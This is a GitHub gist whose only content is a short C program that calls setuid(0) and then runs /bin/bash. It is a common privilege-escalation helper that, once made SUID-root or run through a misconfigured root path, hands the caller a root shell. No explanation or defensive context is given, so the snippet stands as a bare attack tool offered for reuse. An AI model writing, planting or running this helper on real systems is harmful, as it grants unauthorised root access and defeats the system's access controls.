Skip to content

Instantly share code, notes, and snippets.

@huyhoang8398
Created May 29, 2021 15:58
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save huyhoang8398/90722dfeae75f9f5f79bf8a9fcd0be6d to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
setuid(0);
system("/bin/bash");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment